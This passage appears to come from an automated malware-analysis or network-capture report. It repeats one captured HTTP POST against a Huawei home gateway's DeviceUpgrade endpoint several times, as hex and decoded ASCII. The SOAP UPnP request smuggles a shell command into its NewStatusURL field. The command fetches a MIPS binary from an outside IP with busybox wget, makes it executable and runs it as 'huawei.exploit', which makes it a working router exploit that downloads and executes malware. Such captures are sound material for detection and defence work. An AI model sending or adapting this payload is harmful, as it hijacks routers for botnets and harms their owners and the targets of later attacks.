73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
